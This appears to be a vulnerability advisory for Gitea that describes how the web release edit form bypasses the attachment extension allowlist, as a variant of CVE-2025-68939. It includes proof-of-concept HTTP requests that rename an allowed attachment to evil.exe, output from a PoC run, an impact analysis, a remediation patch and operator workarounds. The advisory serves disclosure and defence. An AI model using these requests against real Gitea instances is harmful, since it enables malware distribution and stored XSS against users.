Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

Delegates to:

// services/attachment/attachment.go:96
func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error {
    if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil {
        return err
    }
    return repo_model.UpdateAttachment(ctx, attach)
}

The API path goes through attachment_service.UpdateAttachment which calls upload.Verify(nil, attach.Name, allowedTypes). The web path bypasses this entirely.

Proof of Concept

Tested live against:

• Gitea v1.26.1 community edition, Linux amd64, SQLite, Go 1.26.2
• app.ini includes [repository.release] ALLOWED_TYPES = .zip,.tar.gz
• Two users: admin (superuser, created via gitea admin user create --admin), bob (regular, repo owner of bob/test-repo)

Step 1: bob creates release v0.1 and uploads innocent.zip (allowlist compliant) via the API.

Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension.

PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
Authorization: token <bob_token>
Content-Type: application/json

{"name":"evil.exe"}

Response: HTTP 422 -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action).

Step 3: The attack. The web release edit form does NOT enforce the allowlist.

POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1
Cookie: i_like_gitea=<session>; lang=en-US
Content-Type: application/x-www-form-urlencoded

tag_name=v0.1
&tag_target=main
&title=rename+payload
&content=
&attachment-edit-<existing_attachment_uuid>=evil.exe

Response: HTTP 303 -> /bob/test-repo/releases. The form is accepted with no validation error.

Step 4: Verify.

GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1

Response includes "name": "evil.exe". The download link /attachments/<uuid> now serves the file under the forbidden extension.

A self contained Python PoC ships with this advisory: GITEA-R007_release_edit_extension_bypass.py. End to end run:

GITEA-R007_release_edit_extension_bypass.py

[+] Logged in as bob
[+] Pre-attack attachment name: 'innocent2.zip'
[+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix)
[+] POST release edit: HTTP 303 -> /bob/test-repo/releases
[+] Post-attack attachment name: 'pwn.exe'

[!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist.

Impact

Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2):

• Pre-condition: operator has set Repository.Release.AllowedTypes to a non-empty allowlist (a reasonable hardening posture when restricting release uploads).
• Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators.
• Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name.
• Practical impact:
  • Distribute malware files (e.g., .exe, .dmg, .msi, .apk) masquerading as a tagged release attachment
  • If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin
  • Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event

Suggested remediation

Mirror the parent CVE-2025-68939 fix into the web release edit path. In services/release/release.go UpdateRelease, verify each new name against the configured allowlist before persisting:

import (
    "code.gitea.io/gitea/modules/setting"
    "code.gitea.io/gitea/services/context/upload"
)

// inside UpdateRelease, replace the editAttachments loop:
for uuid, newName := range editAttachments {
    if deletedUUIDs.Contains(uuid) {
        continue
    }
    if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil {
        return err
    }
    if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
        UUID: uuid,
        Name: newName,
    }, "name"); err != nil {
        return err
    }
}

The web handler EditReleasePost should map IsErrFileTypeForbidden to a 422 response (or equivalent flash error and form re-render) to match the API behavior.

Alternative: refactor attachment_service.UpdateAttachment to accept a UUID (or expose a UpdateAttachmentByUUID variant in the service layer) and have the release service call that instead of the raw model function.

Workaround for operators (no Gitea change required)

Until a patched release lands, operators can mitigate by either:

1. Removing the Repository.Release.AllowedTypes allowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move.
2. Putting Gitea behind a reverse proxy that rewrites or strips suspicious attachment-edit-* form fields on POST to /<owner>/<repo>/releases/edit/* -- viable but operationally fragile.
3. Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable.

A vendor patch is the right answer; the workarounds above are stopgaps.

Credit

Jose Rivas (bl4cksku111.com)

References

• Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939)
• Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit 7adc4717ec)
• CWE-424: https://cwe.mitre.org/data/definitions/424.html
• CWE-434: https://cwe.mitre.org/data/definitions/434.html